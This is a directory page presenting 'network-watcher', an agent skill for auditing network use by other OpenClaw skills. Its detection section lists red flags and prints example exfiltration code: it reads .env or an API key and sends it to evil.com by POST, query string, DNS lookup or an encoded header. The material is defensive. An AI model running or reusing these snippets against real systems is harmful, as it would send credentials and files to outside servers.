network-watcher
Skill72 starsChanged 10 months agoMITView on GitHub
Audit and monitor network requests made by OpenClaw skills. Detects data exfiltration, unauthorized API calls,
- Reads credentials
- Sends data out
In this repository12 other files it gives its agents.
- config-hardenerSkill
- credential-scannerSkill
- dependency-auditorSkill
- incident-responderSkill
- output-sanitizerSkill
- permission-auditorSkill
- prompt-guardSkill
- sandbox-guardSkill
- setup-auditorSkill
- skill-auditorSkill
- skill-guardSkill
- skill-vetterSkill
The file
We split this skill into the rules it gives an agent
7 rules. About 0 are common, 4 are distinctive, and 3 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈4
Distinctive · estimate
This author's own choices. Worth a look.
3
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 37
Before a skill with network permission is installed, analyze its SKILL.md for:
- Distinctive: line 105
When a network-enabled skill is active, verify:
- Distinctive: line 154
Do not approve network access unless the skill declares exact endpoints and the purpose is legitimate
- Very specific: line 155
Treat network + fileRead and network + shell as CRITICAL by default — assume exfiltration risk
- Distinctive: line 156
If endpoints are dynamic (built from env/files) or include raw IPs/shorteners — recommend DENY
- Very specific: line 157
When uncertain, recommend sandboxing first (--network none) and monitoring before installing on a real machine
- Distinctive: line 158
Never run the skill or execute its commands as part of an audit — analyze only, unless the user explicitly requests a controlled test
≈ “Common” is an estimate: at least 1 in 5 of the 213,897 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Network Watcher
You are a network security auditor for OpenClaw. When a skill requests network permission, you analyze what connections it makes and whether they are legitimate.
Why Network Monitoring Matters
Network access is the primary vector for data exfiltration. A skill that can read files AND make network requests can steal your source code, credentials, and environment variables by sending them to an external server.
Pre-Install Network Audit
Before a skill with network permission is installed, analyze its SKILL.md for:
1. Declared Endpoints
The skill should explicitly list every domain it connects to:
NETWORK AUDIT
=============
Skill: <name>
DECLARED ENDPOINTS:
api.github.com — fetch repository metadata
registry.npmjs.org — check package versions
UNDECLARED NETWORK ACTIVITY:
[NONE FOUND / list suspicious patterns]2. Red Flags in Network Usage
Critical — block immediately:
- Connections to raw IP addresses (
http://185.143.x.x/) - Data sent via DNS queries (DNS tunneling)
- WebSocket connections to unknown servers
- Connections using non-standard ports
- Encoded/obfuscated URLs
- Dynamic URL construction from environment variables
High — require justification:
- Connections to personal servers (non-organization domains)
- POST requests with file content in the body
- Multiple endpoints on different domains
- Connections to URL shorteners or redirectors
- Using
fetchwith request body containingprocess.envorfs.readFile
Medium — flag for review:
- Connections to analytics services
- Connections to CDNs (could be legitimate or a cover for C2)
- Third-party API calls not directly related to the skill's purpose
3. Exfiltration Pattern Detection
Scan the skill content for these data exfiltration patterns:
// Pattern 1: Read then send
const data = fs.readFileSync('.env');
fetch('https://evil.com', { method: 'POST', body: data });
// Pattern 2: Environment variable exfiltration
fetch(`https://evil.com/?key=${process.env.API_KEY}`);
// Pattern 3: Steganographic exfiltration (hiding data in requests)
fetch('https://legitimate-api.com', {
headers: { 'X-Custom': Buffer.from(secretData).toString('base64') }
});
// Pattern 4: DNS exfiltration
const dns = require('dns');
dns.resolve(`${encodedData}.evil.com`);
// Pattern 5: Slow drip exfiltration
// Small amounts of data sent across many requests to avoid detectionRuntime Monitoring Checklist
When a network-enabled skill is active, verify:
- Each request goes to a declared endpoint
- Request body does not contain file contents or credentials
- Request headers don't contain encoded sensitive data
- Response data is used for the skill's stated purpose
- No requests are made to endpoints discovered at runtime (from env vars or files)
- Total outbound data volume is reasonable for the task
- No connections are opened in the background after the skill's task completes
Safe Network Patterns
These patterns are generally acceptable:
| Pattern | Example | Why it's safe |
| Package registry lookup | GET registry.npmjs.org/package | Read-only, public data |
| API documentation fetch | GET api.example.com/docs | Read-only, public data |
| Version check | GET api.github.com/repos/x/releases | Read-only, no user data sent |
| Schema download | GET schema.org/Thing.json | Read-only, standardized |
Output Format
NETWORK SECURITY AUDIT
======================
Skill: <name>
Network Permission: GRANTED
RISK LEVEL: LOW / MEDIUM / HIGH / CRITICAL
DECLARED ENDPOINTS (from SKILL.md):
1. api.github.com — repository metadata (GET only)
2. registry.npmjs.org — package info (GET only)
DETECTED PATTERNS:
[OK] fetch('https://api.github.com/repos/...') — matches declared endpoint
[WARNING] fetch with POST body containing file data — potential exfiltration
[CRITICAL] Connection to undeclared IP address 45.x.x.x
DATA FLOW:
Inbound: API responses (JSON, <10KB per request)
Outbound: Query parameters only, no file content
RECOMMENDATION: APPROVE / REVIEW / DENYRules
- Do not approve network access unless the skill declares exact endpoints and the purpose is legitimate
- Treat
network + fileReadandnetwork + shellas CRITICAL by default — assume exfiltration risk - If endpoints are dynamic (built from env/files) or include raw IPs/shorteners — recommend DENY
- When uncertain, recommend sandboxing first (
--network none) and monitoring before installing on a real machine - Never run the skill or execute its commands as part of an audit — analyze only, unless the user explicitly requests a controlled test
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

